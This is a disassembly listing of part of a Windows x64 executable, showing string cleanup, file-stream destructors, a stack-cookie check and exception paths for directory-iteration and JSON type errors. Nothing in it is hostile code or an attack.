ja 0x1400337f0
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x348]
cmp rdx, 0x10
jb 0x1400333fc
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400333f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400337f6
call fcn.14014fd6c
xor ebx, ebx
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x330], bl
mov rax, qword [rbp + 0x480]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x480], rax
mov rax, qword [rbp + 0x480]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x47c], edx
lea rcx, [rbp + 0x490]
call fcn.140018bb0
mov rax, qword [rbp + 0x480]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x480], rax
mov rax, qword [rbp + 0x480]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x47c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x530], rax
lea rcx, [rbp + 0x530]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0x368]
cmp rdx, 0x10
jb 0x1400334df
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400334da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400337fc
call fcn.14014fd6c
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x350], 0
mov rdx, qword [rbp + 0x438]
cmp rdx, 0x10
jb 0x140033539
inc rdx
mov rcx, qword [rbp + 0x420]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033534
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033802
call fcn.14014fd6c
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x438], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x420], 0
mov rdx, qword [rbp + 0x418]
cmp rdx, 0x10
jb 0x14003358f
inc rdx
mov rcx, qword [rbp + 0x400]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003358a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400335bf
call fcn.14014fd6c
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.14014fd10
lea r11, [rsp + 0x6b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14015ee94
nop
mov edx, eax
lea rcx, str.recursive_directory_iterator::operator
call fcn.140005620
nop
call fcn.140001fd0
nop
lea r8, [rsp + 0x78]
mov edx, eax
lea rcx, str.recursive_directory_iterator::recursive_directory_iterator
call fcn.140005710
nop
call fcn.14015ee94
nop
lea r8, [r14 + 0x20]
lea rcx, str.directory_entry::status
call fcn.140005710
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.14015ee94
int3
call fcn.14015ee94
nop
call fcn.140001f00
nop
call fcn.140002650
nop
call fcn.14015ee94
int3
lea rdx, str.cannot_get_value
lea rcx, [rbp + 0x60]
call fcn.140002200
nop
lea r8, [rbp + 0x60]
mov edx, 0xd6
lea rcx, [rbp + 0x198]
call fcn.14002a9e0
lea rdx, [0x1401e8548]
lea rcx, [rbp + 0x198]
call fcn.140151f08
nop
lea rcx, [0x1401f4c20]
call fcn.14001bdc0
mov qword [rbp + 0x590], rax
lea r8, [rbp + 0x590]
lea rdx, str.cannot_use_push_back___with
lea rcx, [rsp + 0x58]
call fcn.14001e290
nop
mov r8, rax
mov edx, 0x134
lea rcx, [rbp + 0x110]
call fcn.14001e350
lea rdx, [0x1401e84c0]
lea rcx, [rbp + 0x110]
call fcn.140151f08
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
mov rcx, rax
call fcn.14001bdc0
mov qword [rbp + 0x590], rax
lea r8, [rbp + 0x590]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x110]
call fcn.14001e290
nop
mov r8, rax
lea rcx, [rbp + 0x80]
call fcn.14002c5c0
lea rdx, [0x1401e84c0]
lea rcx, [rbp + 0x80]
call fcn.140151f08
nop
mov rcx, rax
call fcn.14001bdc0
mov qword [rbp + 0x590], rax
lea r8, [rbp + 0x590]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x110]
call fcn.14001e290
nop
mov r8, rax
lea rcx, [rbp + 0x80]
call fcn.14002c5c0
lea rdx, [0x1401e84c0]
lea rcx, [rbp + 0x80]
call fcn.140151f08
nop
mov rcx, rax
call fcn.14001bdc0
mov qword [rbp + 0x590], rax
lea r8, [rbp + 0x590]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x110]
call fcn.14001e290
nop
mov r8, rax
lea rcx, [rbp + 0x80]
call fcn.14002c5c0
lea rdx, [0x1401e84c0]
lea rcx, [rbp + 0x80]
call fcn.140151f08
nop
lea rdx, str.cannot_get_value
lea rcx, [rbp + 0x60]
call fcn.140002200
nop
lea r8, [rbp + 0x60]
mov edx, 0xd6
lea rcx, [rbp + 0x1d0]
call fcn.14002a9e0
lea rdx, [0x1401e8548]
lea rcx, [rbp + 0x1d0]
call fcn.140151f08
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3